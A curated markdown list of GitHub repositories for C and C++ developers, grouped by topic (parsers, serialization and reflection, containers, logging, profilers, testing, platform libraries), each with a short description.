- [jsmn](https://github.com/zserge/jsmn) : Jsmn is a world fastest JSON parser/tokenizer. This is the official repo replacing the old one at Bitbucket
- [fast_obj](https://github.com/thisistherk/fast_obj) : Fast C OBJ parser
- [cpptoml](https://github.com/skystrife/cpptoml) : cpptoml is a header-only library for parsing TOML
- [nanocsv](https://github.com/lighttransport/nanocsv) : Multithreaded header only C++11 CSV parser
- [picojson](https://github.com/kazuho/picojson) : a header-file-only, JSON parser serializer in C++
- [js0n](https://github.com/quartzjer/js0n) : Flexible Zero-Footprint JSON Parser in C
- [CppCmb](https://github.com/LPeter1997/CppCmb) : A generic C++17 parser-combinator library with a natural grammar notation.
- [obj_lib](https://github.com/rampantpixels/obj_lib) : OBJ reader and writer library
- [ffmpeg-cpp](https://github.com/Raveler/ffmpeg-cpp) : A clean, easy-to-use C++ wrapper around the ffmpeg libraries
- [Parser-Combinators](https://github.com/keean/Parser-Combinators) : C++ parser combinator library
- [tinyply](https://github.com/ddiakopoulos/tinyply) : C++11 ply 3d mesh format importer & exporter
- [json](https://github.com/mjansson/json) : Single file in-place JSON/SJSON parser
- [simdjson](https://github.com/lemire/simdjson) : Parsing gigabytes of JSON per second
- [sajson](https://github.com/chadaustin/sajson) : Lightweight, extremely high-performance JSON parser for C++11
- [tinyddsloader](https://github.com/benikabocha/tinyddsloader) : Tiny DDS file loader
- [sjson-cpp](https://github.com/nfrechette/sjson-cpp) : An Simplified JSON (SJSON) C++ reader and writer
- [xlnt](https://github.com/tfussell/xlnt) : Cross-platform user-friendly xlsx library for C++14
- [assfile](https://github.com/jtsiomb/assfile) : C library for accessing assets (read-only data) from many different sources, with an fopen/fread-like API.
- [sjson](https://github.com/septag/sjson) : Fast and portable single-header C file Json encoder/decoder
- [melo](https://github.com/jing-interactive/melo) : melo is mesh loader for OBJ, glTF2 and PLY
- [jo](https://github.com/jpmens/jo) : JSON output from a shell
- [huffandpuff](https://github.com/adamierymenko/huffandpuff) : Minimal Huffman coder/decoder
- [fbx](https://github.com/jskorepa/fbx) : C++ Library for reading and writing FBX files
- [csv-parser](https://github.com/vincentlaucsb/csv-parser) : A modern C++ library for reading, writing, and analyzing CSV (and similar) files.
- [enkiMI](https://github.com/dougbinks/enkiMI) : C and C++ Minecraft Importer library
- [sjson](https://github.com/dougbinks/sjson) : sjson: no {} needed around the whole file; "=" is allowed instead of ":"; quotes around the key are optional; commas after values are optional; read access through compile time hashes much faster t…
- [OpenFBX](https://github.com/nem0/OpenFBX) : Lightweight open source FBX importer
- [fbx](https://github.com/origamicomet/fbx) : Single-file binary FBX importer.
- [tinyobjloader](https://github.com/syoyo/tinyobjloader) : Tiny but powerful single file wavefront obj loader
- [DevIL](https://github.com/DentonW/DevIL) : Developer's Image Library (DevIL) is a cross-platform image library utilizing a simple syntax to load, save, convert, manipulate, filter, and display a variety of images with ease. It is highly por…
- [json](https://github.com/taocpp/json) : C++ header-only JSON library
- [glw_json](https://github.com/yak32/glw_json) : Single-header fast and compact C++ library for JSON serialization, no memory allocation during parsing.
- [svgpp](https://github.com/svgpp/svgpp) : C++ SVG library
- [Vili](https://github.com/Sygmei/Vili) : A nice and readable data format !
- [SimpleJSON](https://github.com/nbsdx/SimpleJSON) : Simple C++ JSON library
- [ini](https://github.com/rxi/ini) : A tiny ANSI C library for loading .ini config files
- [cfgpath](https://github.com/Malvineous/cfgpath) : Cross platform C header for obtaining paths to user configuration files and directories
- [juson](https://github.com/wgtdkp/juson) : lightweight json parser in c
- [simpleini](https://github.com/brofield/simpleini) : Cross-platform C++ library providing a simple API to read and write INI-style configuration files
- [jsonpack](https://github.com/ymglez/jsonpack) : JsonPack is a high-performance and extremely easy-to-use JSON serialization library
- [yaml-cpp](https://github.com/jbeder/yaml-cpp) : A YAML parser and emitter in C++
- [json](https://github.com/nlohmann/json) : JSON for Modern C++
- [pugixml](https://github.com/zeux/pugixml) : Light-weight, simple and fast XML parser for C++ with XPath support
- [rapidcsv](https://github.com/d99kris/rapidcsv) : C++ CSV parser library
- [fast-cpp-csv-parser](https://github.com/ben-strasser/fast-cpp-csv-parser) : fast-cpp-csv-parser
- [csvstream](https://github.com/awdeorio/csvstream) : An easy-to-use CSV file parser for C++
- [Qxlnt](https://github.com/QtExcel/Qxlnt) : Use xlnt in Qt5. xlnt is cross-platform user-friendly xlsx library for C++14.
- [Qlibxlsxwriter](https://github.com/QtExcel/Qlibxlsxwriter) : Use libxlsxwriter in Qt5. libxlsxwriter is a C library for creating Excel XLSX files.
- [QSimpleXlsxWriter](https://github.com/QtExcel/QSimpleXlsxWriter) : Use SimpleXlsxWriter in Qt5. SimpleXlsxWriter is C++ library for creating XLSX files for MS Excel 2007 and above.
- [QXlsx](https://github.com/QtExcel/QXlsx) : Excel file(*.xlsx) reader/writer library using Qt5. Descendant of QtXlsx.
- [simdjson](https://github.com/simdjson/simdjson) : Parsing gigabytes of JSON per second
- [DuckX](https://github.com/amiremohamadi/DuckX) : C++ library for creating and updating Microsoft Word (.docx) files.
- [inih](https://github.com/flingengine/inih) : This is a header only C++ version of inih.
- FileSystem
- [filesystem](https://github.com/gulrak/filesystem) : An implementation of C++17 std::filesystem for C++11 /C++14/C++17 on Windows, macOS and Linux.
- [littlefs](https://github.com/ARMmbed/littlefs) : A little fail-safe filesystem designed for microcontrollers
- [watchman](https://github.com/facebook/watchman) : Watches files and records, or triggers actions, when they change.
- [edwork](https://github.com/eduardsui/edwork) : Decentralized, distributed read-write filesystem
- [dr_fs](https://github.com/dr-soft/dr_fs) : Single file libraries for file system related stuff
- [apathy](https://github.com/dlecocq/apathy) : C++ Path Manipulation
- [filesystem](https://github.com/wjakob/filesystem) : A tiny self-contained path manipulation library for C++
- [tinydir](https://github.com/cxong/tinydir) : Lightweight, portable and easy to integrate C directory and file reader
- [dirent](https://github.com/tronkko/dirent) : C/C++ library for retrieving information on files and directories
- [whereami](https://github.com/gpakosz/whereami) : Locate the current executable and the current module/library on the file system
- [PhysFS](https://github.com/icculus/physfs) : Abstracts access to files distributed across separate archives.
- Reflection & Serialization
- [putils_reflection](https://github.com/phisko/reflection/) - A simple, stand-alone, header-only and easily pluggable `constexpr` reflection system.
- [Vzor](https://github.com/nikoladimitroff/Vzor) : Vzor is a reflection library for C++, with interface in Python and C++, macroless, intrusiveless, working on top modern C++ attributes
- [magic_enum](https://github.com/Neargye/magic_enum) : Static reflection for enums (to string, from string, iteration) for modern C++, work with any enum type without any macro or boilerplate code
- [ArticleEnumClass-v2](https://github.com/Dalzhim/ArticleEnumClass-v2) :
- [tinyrefl](https://github.com/Manu343726/tinyrefl) : A work in progress minimal C++ static reflection API and codegen tool.
- [datalibrary](https://github.com/wc-duck/datalibrary) : Open Source Data Library for data serialization.
- [enum_traits](https://github.com/willwray/enum_traits) : Type traits for properties of C / C++ enum types
- [enum_reflect](https://github.com/willwray/enum_reflect) : A demo repo for enum_traits
- [cpgf](https://github.com/cpgf/cpgf) : cpgf library
- [meta](https://github.com/skypjack/meta) : Header-only, non-intrusive and macro-free runtime reflection system in C++
- [metareflect](https://github.com/Leandros/metareflect) : Metareflect is a lightweight reflection system for C++, based on LLVM and Clangs libtooling.
- [zserio](https://github.com/ndsev/zserio) : zero sugar, zero fat, zero serialization overhead
- [rttr](https://github.com/rttrorg/rttr) : C++ Reflection Library
- [cista](https://github.com/felixguendling/cista) : Simple C++ Serialization
- [ponder](https://github.com/billyquith/ponder) : C++ reflection library
- [tekari](https://github.com/rgl-epfl/tekari) : A visualization and editing tool for reflectance data
- [bitsery](https://github.com/fraillt/bitsery) : Your binary serialization library
- [tstype](https://github.com/timkerchmar/tstype) : Lightweight C++ RTTI library
- [capnproto](https://github.com/capnproto/capnproto) : Cap'n Proto serialization/RPC system - core tools and C++ library
- [reflect](https://github.com/garettbass/reflect) : easy reflection and serialization for C++17
- [cpp-serializers](https://github.com/thekvs/cpp-serializers) : Benchmark comparing various data serialization libraries (thrift, protobuf etc.) for C++
- [cppexpose](https://github.com/cginternals/cppexpose) : C++ library for type introspection, reflection, and scripting interface
- [iguana](https://github.com/qicosmos/iguana) : universal serialization engine
- [Reflex](https://github.com/Cylix/Reflex) : C++14 Reflection Library
- [reflect](https://github.com/xyzdev/reflect) : Reflection and serialization in C++
- [cpp-generic-serialize](https://github.com/xdbr/cpp-generic-serialize) : C++11 Header-only generic binary-serialization for arbitrary types (and nested containers)
- [rpoco](https://github.com/whizzter/rpoco) : (R)eflect (P)lain (O)ld (C)++ (O)bjects, is a small header based reflection system that supports JSON serialization,etc
- [CPP-Reflection](https://github.com/AustinBrunkhorst/CPP-Reflection) : C++ Reflection Parser / Runtime Skeleton
- [cereal](https://github.com/USCiLab/cereal) : A C++11 library for serialization
- [cmake-reflection-template](https://github.com/onqtam/cmake-reflection-template) : A template for simple C++ reflection done with CMake and Python (no other external tools)
- [MetaStuff](https://github.com/eliasdaler/MetaStuff) : Code I use in my game for all serialization/deserialization/introspection stuff
- [type_name](https://github.com/willwray/type_name) : C++ type_name template utilities for pretty-printing type names
- [smartenum](https://github.com/therocode/smartenum) : Macros for declaring enums in C++ that include to_string conversion and looping through all enum values
- [better-enums](https://github.com/aantron/better-enums) : C++ compile-time enum to string, iteration, in a single header file
- [magic_get](https://github.com/apolukhin/magic_get) : std::tuple like methods for user defined types without any macro or boilerplate code
- [ctti](https://github.com/Manu343726/ctti) : Compile Time Type Information for C++
- [nameof](https://github.com/Neargye/nameof) : Nameof operator for modern C++, simply obtain the name of a variable, type, function, macro, and enum
- [flatbuffers](https://github.com/google/flatbuffers) : FlatBuffers: Memory Efficient Serialization Library
- [protobuf](https://github.com/protocolbuffers/protobuf) : Protocol Buffers - Google's data interchange format
- [archive](https://github.com/voidah/archive) : Simple, compact, endian-safe and header-only serialization/deserialization for C++
- [reflect](https://github.com/clarkok/reflect) : C++ reflect library in less than 200 lines
- [data_desk](https://github.com/ryanfleury/data_desk) : A data description language parser with introspection and custom code capabilities, intended for compile-time code generation in projects.
- [msgpack-c](https://github.com/msgpack/msgpack-c) : MessagePack implementation for C and C++ / msgpack.org[C/C++]
- [wise_enum](https://github.com/quicknir/wise_enum) : A reflective enum implementation for C++
- [enum.hpp](https://github.com/BlackMATov/enum.hpp) : C++17 compile-time enum reflection library
- [reflection](https://github.com/skarupke/reflection) :
- Metaprogramming
- [putils_meta](https://github.com/phisko/meta/) - Phisko's metaprogramming utilities. Collection of type traits and compile-time helpers.
- [monster](https://github.com/deepgrace/monster) : The Art of Template MetaProgramming in Modern C++
- [STT-C-Compile-Time-Snake](https://github.com/mattbierner/STT-C-Compile-Time-Snake) : Snake/Nibbler implementation using C++ template metaprogamming
- [brigand](https://github.com/edouarda/brigand) : Instant compile time C++ 11 metaprogramming library
- [cxl](https://github.com/tacticalmelonfarmer/cxl) : A C++17 metaprogramming library. Strings, Parsing, Typelists, Aggregate to Tuple conversions and Constant integral literals
- [hana](https://github.com/boostorg/hana) : Your standard library for metaprogramming
- Functional Programming
- [cpp_functional_programming](https://github.com/graninas/cpp_functional_programming) : List of materials about functional programming in C++
- [hof](https://github.com/boostorg/hof) : Higher-order functions for c++
- [easing-functions](https://github.com/nicolausYes/easing-functions) : Easing functions implemented in C++
- [luna-studio](https://github.com/luna/luna-studio) : An IDE for hybrid textual and visual functional programming.
- [ftl](https://github.com/beark/ftl) : C++ template library for fans of functional programming
- [Function](https://github.com/rigtorp/Function) : Heap allocation free version of C++11 std::function
- [fixed_size_function](https://github.com/pmed/fixed_size_function) : Fixed size function wrapper like std::function
- [FastDelegate](https://github.com/kaidokert/FastDelegate) : C++11 version of Don Clugston's FastDelegate library, by Ceniza.
- [any_function](https://github.com/sgorsten/any_function) : any_function is a functional counterpart to std::any
- [delegates](https://github.com/mamedev/delegates) : Fast delegates implementation
- [SLACC](https://github.com/RippeR37/SLACC) : Simple Lightweight Adaptable Command Console
- [function_ref](https://github.com/TartanLlama/function_ref) : A lightweight, non-owning reference to a callable.
- [expected](https://github.com/TartanLlama/expected) : C++11/14/17 std::expected with functional-style extensions
- [pluscallback](https://github.com/codeplea/pluscallback) : easy to use callback library for C++
- [asyncpp](https://github.com/paulrademacher/asyncpp) : C++ async operations
- [coro](https://github.com/mfichman/coro) : Modern coroutine library for C++
- [libco](https://github.com/Tencent/libco) : libco is a coroutine library which is widely used in wechat back-end service. It has been running on tens of thousands of machines since 2013.
- [eventpp](https://github.com/skypjack/eventpp) : Minimal C++ Event Bus
- [FunctionalPlus](https://github.com/Dobiasd/FunctionalPlus) : Functional Programming Library for C++. Write concise and readable C++ code.
- [function2](https://github.com/Naios/function2) : Improved and configurable drop-in replacement to std::function that supports move only types, multiple overloads and more
- [eventbus](https://github.com/DeveloperPaul123/eventbus) : A simple, header only event bus library written in modern C++17.
- Containers
- [mlib](https://github.com/P-p-H-d/mlib) : Library of generic and type safe containers in pure C language (C99 or C11) for a wide collection of container (comparable to the C++ STL).
- [SmartIteratorCpp11](https://github.com/qnope/SmartIteratorCpp11) : Smart iterator like range-v3 in C++11
- [prio_queue](https://github.com/rollbear/prio_queue) : C++14 cache friendly B-heap priority queue
- [dep_sort](https://github.com/graphitemaster/dep_sort) : Generic topological sorting for sorting a list of dependencies in C++17
- [sort](https://github.com/swenson/sort) : Sorting routine implementations in "template" C
- [frozen](https://github.com/serge-sans-paille/frozen) : a header-only, constexpr alternative to gperf for C++14 users
- [scattered](https://github.com/gnzlbg/scattered) : C++ Scattered Containers
- [radixsort](https://github.com/bitshifter/radixsort) : Radix sort implementations in C and C++
- [judy](https://github.com/threatstack/judy) : A "general purpose dynamic array library" in C. Project page: http://sourceforge.net/projects/judy/
- [judy-template](https://github.com/mpictor/judy-template) : An implementation of the Judy array, wrapped in a c++ template. Uses Karl Malbrain's implementation, http://code.google.com/p/judyarray/ . Public domain.
- [EasyIterator](https://github.com/TheLartians/EasyIterator) : C++ iterators made easy! Zero cost abstractions for C++ iterators.
- [plf_colony](https://github.com/mattreecebentley/plf_colony) : An unordered C++ data container providing fast iteration/insertion/erasure while maintaining pointer/iterator validity to non-erased elements regardless of insertions/erasures. Provides higher-perf…
- [flat.hpp](https://github.com/BlackMATov/flat.hpp) : Library of flat vector-like based associative containers
- [skiplist.h](https://github.com/alpha123/skiplist.h) : Single-header-file, public domain, type-generic C89 skip list implemementation
- [avl_tree](https://github.com/ebiggers/avl_tree) : High performance C implementation of AVL trees
- [rsht](https://github.com/robstolarz/rsht) : really simple hash table
- [array](https://github.com/foonathan/array) : contiguous container library - arrays with customizable allocation, small buffer optimization and more
- [sparse-map](https://github.com/Tessil/sparse-map) : C++ implementation of a memory efficient hash map and hash set
- [hopscotch-map](https://github.com/Tessil/hopscotch-map) : C++ implementation of a fast hash map and hash set using hopscotch hashing
- [flat_hash_map](https://github.com/skarupke/flat_hash_map) : A very fast hashtable
- [devector](https://github.com/orlp/devector) : Resizable contiguous sequence container with fast appends on either end.
- [hashMap](https://github.com/kshk123/hashMap) : A concurrent thread-safe hash map implemented in C++
- [EASTL](https://github.com/electronicarts/EASTL) : EASTL stands for Electronic Arts Standard Template Library. It is an extensive and robust implementation that has an emphasis on high performance.
- [STL](https://github.com/microsoft/STL) : MSVC's implementation of the C++ Standard Library.
- [plf_list](https://github.com/mattreecebentley/plf_list) : A drop-in replacement for std::list with 293% faster insertion, 57% faster erasure, 17% faster iteration and 77% faster sorting on average. 20-24% speed increase in use-case testing.
- [rax](https://github.com/antirez/rax) : A radix tree implementation in ANSI C
- [ga](https://github.com/GlobalArrays/ga) : Partitioned Global Address Space (PGAS) library for distributed arrays
- [xenium](https://github.com/mpoeter/xenium) : A C++ library providing various concurrent data structures and reclamation schemes.
- [sparsehash-c11](https://github.com/sparsehash/sparsehash-c11) : Experimental C++11 version of sparsehash
- [Sprout](https://github.com/bolero-MURAKAMI/Sprout) : C++11/14 constexpr based Containers, Algorithms, Random numbers, Parsing, Ray tracing, Synthesizer, and others.
- [immutable-cpp](https://github.com/rsms/immutable-cpp) : Persistent immutable data structures for C++
- [HashMap](https://github.com/rigtorp/HashMap) : An open addressing linear probing hash table, tuned for delete heavy workloads
- [TinySTL](https://github.com/zouxiaohang/TinySTL) : TinySTL is a subset of STL(cut some containers and algorithms) and also a superset of STL(add some other containers and algorithms)
- [ch_stl](https://github.com/Colbeyyy/ch_stl) : Colby Hall's C++ Standard Library
- [pdqsort](https://github.com/orlp/pdqsort) : Pattern-defeating quicksort.
- [urde](https://github.com/AxioDL/urde) : Data interchange, editor suite, and runtime re-implementations for games by Retro Studios | Mirror
- Logging
- [DebugViewPP](https://github.com/CobaltFusion/DebugViewPP) : DebugView++, collect, view and filter your application logs
- [NSLogger](https://github.com/fpillet/NSLogger) : A modern, flexible logging tool
- [pprint](https://github.com/p-ranav/pprint) : Pretty Printer for Modern C++
- [glog](https://github.com/google/glog) : C++ implementation of the Google logging module
- [spdlog](https://github.com/gabime/spdlog) : Fast C++ logging library.
- [Frlog](https://github.com/Cloaked9000/Frlog) : A tiny, fast, thread safe, easy to use logging class.
- [loguru](https://github.com/emilk/loguru) : A lightweight C++ logging library
- [static-print](https://github.com/saarraz/static-print) : A GCC 7.1 patch that adds a 'static_print' statement to C++.
- [nanoprintf](https://github.com/charlesnicholson/nanoprintf) : A tiny embeddable printf replacement written in C89/C99.
- [_._](https://github.com/vitaut/_._) : A simple streaming library
- [cpp-format](https://github.com/mutouyun/cpp-format) : C#/Rust/Python style formatting in C++.
- [tsf](https://github.com/IMQS/tsf) : Type safe printf-compatible C++ library
- [fmt](https://github.com/fmtlib/fmt) : A modern formatting library
- [tinyformat](https://github.com/c42f/tinyformat) : Minimal, type safe printf replacement library for C++
- [plog](https://github.com/SergiusTheBest/plog) : Portable, simple and extensible C++ logging library
- [reckless](https://github.com/mattiasflodin/reckless) : Reckless logging. Low-latency, high-throughput, asynchronous logging library for C++.
- [FASTER](https://github.com/microsoft/FASTER) : Fast persistent recoverable log and key-value store, in C# and C++, from Microsoft Research.
- [tabulate](https://github.com/p-ranav/tabulate) : Table Maker for Modern C++
- [leaf](https://github.com/zajo/leaf) : Lightweight Error Augmentation Framework
- [logwizard](https://github.com/jtorjo/logwizard) : Log Wizard - a Log Viewer that is easy and fun to use!
- [tinge](https://github.com/Jackojc/tinge) : a simple, fast, header-only library for C++ which enables pretty colours on the terminal.
- [spinnercpp](https://github.com/trumae/spinnercpp) : Simple header only library to add a spinner / progress indicator to any terminal application.
- [emojicpp](https://github.com/99xt/emojicpp) : Emoji
- [pprintpp](https://github.com/tfc/pprintpp) : Typesafe Python Style Printf Formatting for C++
- [elephant-logger](https://github.com/GeekyMoose/elephant-logger) : A flexible C++ logger with customisable categories, outputs, and filters
- Signals and Slots
- [SISL](https://github.com/Asphox/SISL) : An other cross-platform/cross-compiler Signals and Slots library for C++11 and more...
- [SimpleSignal](https://github.com/victorsummer/SimpleSignal) : Simple signal using templates
- [SimpleSignals](https://github.com/skeller1982/SimpleSignals) : simple threadsafe C++ signal/slot implementation
- [SimpleSignal](https://github.com/larspensjo/SimpleSignal) : High performance C++11 signals
- [signal11](https://github.com/amc522/signal11) : C++11 signal slot implementation
- [nano-signal-slot](https://github.com/NoAvailableAlias/nano-signal-slot) : Pure C++17 Signals and Slots
- [observable](https://github.com/dacap/observable) : Observer pattern and signals/slots for C++11 projects
- Profilers
- [microprofile](https://github.com/zeux/microprofile) : microprofile - embeddable CPU/GPU profiler
- [NVMLQuery-Windows](https://github.com/JeremyMain/NVMLQuery-Windows) : Windows sample code demonstrating how to query GPU metrics using the NVIDIA NVML API
- [GpuProf](https://github.com/vinjn/GpuProf) : Realtime profiler for AMD / NVIDIA / Intel GPUs
- [gperftools](https://github.com/gperftools/gperftools) : Main gperftools repository
- [monitoring](https://github.com/Krozark/monitoring) : a lib to determine CPU /memory consumption.
- [GPUProfiler](https://github.com/JeremyMain/GPUProfiler) : GPUProfiler - Understand your application and workflow resource requirements
- [amdmemorytweak](https://github.com/Eliovp/amdmemorytweak) : Read and modify memory timings on the fly
- [nonius](https://github.com/libnonius/nonius) : A C++ micro-benchmarking framework
- [CapFrameX](https://github.com/DevTechProfile/CapFrameX) : Frametime capture and analysis tool
- [minitrace](https://github.com/hrydgard/minitrace) : Simple C/C++ library for producing JSON traces suitable for Chrome's built-in trace viewer (about:tracing).
- [CompareIntegerMaps](https://github.com/preshing/CompareIntegerMaps) : Generates benchmark data for two different data structures, then renders some graphs.
- [netdata](https://github.com/netdata/netdata) : Real-time performance monitoring, done right! https://my-netdata.io/
- [gputop](https://github.com/rib/gputop) : A GPU profiling tool
- [libperflogger](https://github.com/Lurkki14/libperflogger) : Frametime logger for Linux Vulkan/OpenGL
- [perftest](https://github.com/sebbbi/perftest) : GPU texture/buffer performance tester
- [PocketTrace](https://github.com/PocketwatchGames/PocketTrace) : Intrusive Profiler for C++ (comes with viewer)
- [dmt](https://github.com/rxi/dmt) : Dynamic memory tracker for C
- [LPGPU2-CodeXL](https://github.com/codeplaysoftware/LPGPU2-CodeXL) : LPGPU2 CodeXL power performance analysis and feedback tool for GPUs
- [libProfiler](https://github.com/CedricGuillemet/libProfiler) : Profile your c++ code
- [verysleepy](https://github.com/VerySleepy/verysleepy) : Very Sleepy, a polling CPU profiler
- [renderdoc](https://github.com/baldurk/renderdoc) : RenderDoc is a stand-alone graphics debugging tool.
- [RenderDoc-Manager](https://github.com/oks2024/RenderDoc-Manager) : An exemple on how to use RenderDoc inside your engine.
- [c_nanoprofiler](https://github.com/procedural/c_nanoprofiler) :
- [apitrace](https://github.com/apitrace/apitrace) : Tools for tracing OpenGL, Direct3D, and other graphics APIs
- [processhacker](https://github.com/processhacker/processhacker) : A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware.
- [orbitprofiler](https://github.com/pierricgimmig/orbitprofiler) : C/C++ Performance Profiler
- [chobo-profiling](https://github.com/Chobolabs/chobo-profiling) : A multi-platform call-graph intrusive C++ performance profiling library
- [semile](https://github.com/r-kan/semile) : Profile what you care, monitor how it goes (support C/C++)
- [LiveMemTracer](https://github.com/cesarl/LiveMemTracer) : Live memory allocation tracing header only library using ImGui
- [Remotery](https://github.com/Celtoys/Remotery) : Single C file, Realtime CPU/GPU Profiler with Remote Web Viewer
- [Radeon-GPUProfiler](https://github.com/GPUOpen-Tools/Radeon-GPUProfiler) : Radeon GPU Profiler (RGP) is a tool from AMD that allows for deep inspection of GPU workloads.
- [RCP](https://github.com/GPUOpen-Tools/RCP) : The Radeon Compute Profiler (RCP) is a performance analysis tool that gathers data from the API run-time and GPU for OpenCL™ and ROCm/HSA applications. This information can be used by developers to…
- [Compressonator](https://github.com/GPUOpen-Tools/Compressonator) : Tool suite for Texture and 3D Model Compression, Optimization and Analysis using CPUs, GPUs and APUs
- [CodeXL](https://github.com/GPUOpen-Tools/CodeXL) : CodeXL is a comprehensive tool suite that enables developers to harness the benefits of CPUs, GPUs and APUs.
- [gapid](https://github.com/google/gapid) : Graphics API Debugger
- [glintercept](https://github.com/dtrebilco/glintercept) : GLIntercept is a OpenGL function call interceptor for Windows that will intercept and log all OpenGL calls
- [ThreadTracer](https://github.com/stolk/ThreadTracer) : Lightweight inline profiler that measures wall-time, cpu-time and premptive context switches for threads.
- [microprofile](https://github.com/jonasmr/microprofile) : microprofile is an embeddable profiler
- [gpuvis](https://github.com/mikesart/gpuvis) : GPU Trace Visualizer
- [MTuner](https://github.com/milostosic/MTuner) : MTuner is a C/C++ memory profiler and memory leak finder for Windows, PlayStation 4 and 3, Android and other platforms
- [yardstick](https://github.com/seanmiddleditch/yardstick) : C++ Instrumented Profiling
- [optick](https://github.com/bombomby/optick) : C++ Profiler For Games
- [benchmark](https://github.com/google/benchmark) : A microbenchmark support library
- [easy_profiler](https://github.com/yse/easy_profiler) : Lightweight profiler library for c++
- [profi](https://github.com/stoyannk/profi) : A light-weight C++ profiling library
- [SIMD-Visualiser](https://github.com/piotte13/SIMD-Visualiser) : A tool to graphically visualize SIMD code
- [Caliper](https://github.com/LLNL/Caliper) : Caliper is a flexible application introspection system
- [HWCPipe](https://github.com/ARM-software/HWCPipe) : Hardware counters interface
- [picobench](https://github.com/iboB/picobench) : A micro microbenchmarking library for C++11 in a single header file
- [tracy](https://github.com/Leandros/tracy) : Mirror of https://bitbucket.org/wolfpld/tracy
- [nanobench](https://github.com/martinus/nanobench) : Simple, fast, accurate single-header microbenchmarking functionality for C++11/14/17/20
- [coz](https://github.com/plasma-umass/coz) : Coz: Causal Profiling
- [access_profiler](https://github.com/arvidn/access_profiler) : a tool to count accesses to member variables in c++ programs
- [llvm-propeller](https://github.com/google/llvm-propeller) : PROPELLER: Profile Guided Optimizing Large Scale LLVM-based Relinker
- [cupti_profiler](https://github.com/srvm/cupti_profiler) : CUPTI GPU Profiler
- Testing
- [doctest](https://github.com/onqtam/doctest) : The fastest feature-rich C++11/14/17/20 single-header testing framework for unit tests and TDD
- [EATest](https://github.com/electronicarts/EATest) : EATest is a C++ unit testing framework. It's goal is to have a scalable architecture, have minimal dependencies, and simple usage.
- [gtest-adapter](https://github.com/DavidSchuldenfrei/gtest-adapter) :
- [gtest-parallel](https://github.com/google/gtest-parallel) : Run Google Test suites in parallel.
- [gtest-tap-listener](https://github.com/kinow/gtest-tap-listener) : GoogleTest TAP Listener
- [gtest-gbar](https://github.com/ospector/gtest-gbar) : Automatically exported from code.google.com/p/gtest-gbar
- [gtest-runner](https://github.com/nholthaus/gtest-runner) : A cross-platform, Qt5 based Graphical User Interface for Google Test unit tests
- [googletest](https://github.com/google/googletest) : Googletest - Google Testing and Mocking Framework
- [mettle](https://github.com/jimporter/mettle) : A C++14 unit test framework
- [utest.h](https://github.com/sheredom/utest.h) : single header unit testing framework for C and C++
- [greatest](https://github.com/silentbicycle/greatest) : A C testing library in 1 file. No dependencies, no dynamic allocation. ISC licensed.
- [mettle](https://github.com/SuperV1234/mettle) : A C++14 unit test framework
- [Catch2](https://github.com/catchorg/Catch2) : A modern, C++-native, header-only, test framework for unit-tests, TDD and BDD - using C++11, C++14, C++17 and later (or C++03 on the Catch1.x branch)
- [mutate_cpp](https://github.com/nlohmann/mutate_cpp) : C++ Mutation Test Environment
- [trompeloeil](https://github.com/rollbear/trompeloeil) : Header only C++14 mocking framework
- Platforms
- [cpuinfo](https://github.com/pytorch/cpuinfo) : CPU INFOrmation library (x86/x86-64/ARM/ARM64, Linux/Windows/Android/macOS/iOS)
- [yue](https://github.com/yue/yue) : A library for creating native cross-platform GUI apps
- [cpp-ipc](https://github.com/mutouyun/cpp-ipc) : C++ IPC Library: A high-performance inter-process communication using shared memory on Linux/Windows.
- [portable-file-dialogs](https://github.com/samhocevar/portable-file-dialogs) : Portable GUI dialogs library, C++11, single-header
- [platform_bionic](https://github.com/GrapheneOS/platform_bionic) : Hardened Android standard C library. Some of the past hardening has not yet been ported from Marshmallow, Nougat and Oreo to this Android Pie repository. Most is available via archived tags in http…
- [wil](https://github.com/microsoft/wil) : Windows Implementation Library
- [ipc](https://github.com/jarikomppa/ipc) : Public domain single header inter process communication primitives
- [flow9](https://github.com/area9innovation/flow9) : Platform for safe, easy and productive programming of complex, multi-platform apps with a modern user interface
- [win-wallpaper](https://github.com/sindresorhus/win-wallpaper) : Manage the desktop wallpaper on Windows
- [cpu_features](https://github.com/google/cpu_features) : A cross platform C99 library to get cpu features at runtime.
- [switch-portlibs-examples](https://github.com/switchbrew/switch-portlibs-examples) : Switch portlibs examples using devkitA64 and libnx.
- [libnx](https://github.com/switchbrew/libnx) : Library for Switch Homebrew
- [Detours](https://github.com/microsoft/Detours) : Detours is a software package for monitoring and instrumenting API calls on Windows. It is distributed in source code form.
- [CrossWindow](https://github.com/alaingalvan/CrossWindow) : A cross platform system abstraction library written in C++ for managing windows and performing OS tasks.
- [WindowsHModular](https://github.com/Leandros/WindowsHModular) : A modular Windows.h Header. Licensed under Public Domain & MIT.
- [clip](https://github.com/dacap/clip) : Cross-platform C++ library to copy/paste clipboard content
- [osdialog](https://github.com/AndrewBelt/osdialog) : A cross platform wrapper for OS dialogs like file save, open, message boxes, inputs, color picking, etc.
- [nloader](https://github.com/sherpya/nloader) : Native win32 executables loader
- [libusb](https://github.com/libusb/libusb) : A cross-platform library to access USB devices
- [WinToast](https://github.com/mohabouje/WinToast) : WinToast is a lightly library written in C++ which brings a complete integration of the modern toast notifications of Windows 8 & Windows 10. Toast notifications allows your app to inform the users…
- [borderless-window](https://github.com/rossy/borderless-window) : A minimal borderless window with the Windows API
- [nativefiledialog](https://github.com/mlabbe/nativefiledialog) : A tiny, neat C library that portably invokes native file open and save dialogs.
- [process.h](https://github.com/sheredom/process.h) : A simple one header solution to launching processes and interacting with them for C and C++.
- [PlatformFolders](https://github.com/sago007/PlatformFolders) : A C++ library to look for special directories like "My Documents" and "%APPDATA%" so that you do not need to write Linux, Windows or Mac OS X specific code
- [Skeleton](https://github.com/dhg/Skeleton) : Skeleton: A Dead Simple, Responsive Boilerplate for Mobile-Friendly Development
- [sfd](https://github.com/rxi/sfd) : A small C library for opening a file dialog
- [Boxer](https://github.com/aaronmjacobs/Boxer) : Boxer is a simple library that allows for easy cross-platform creation of message boxes / alerts / what have you.
- [turf](https://github.com/preshing/turf) : Configurable C++ platform adapter
- [dynlib-loader](https://github.com/anthony-leclerc/dynlib-loader) : Cross-platform Runtime dynamic library loader (.dll / .so).
- [dynamicLinker](https://github.com/Marqin/dynamicLinker) : C++11 wrapper for Linux / OS X / Windows / BSD dynamic libraries ( .so .dylib .dll ).
- [systemd](https://github.com/systemd/systemd) : The systemd System and Service Manager
- [not-enough-standards](https://github.com/Alairion/not-enough-standards) : A modern header-only C++ library that provides platform-independent utilities.
- [EasyWindow](https://github.com/thennequin/EasyWindow) : Create window easily
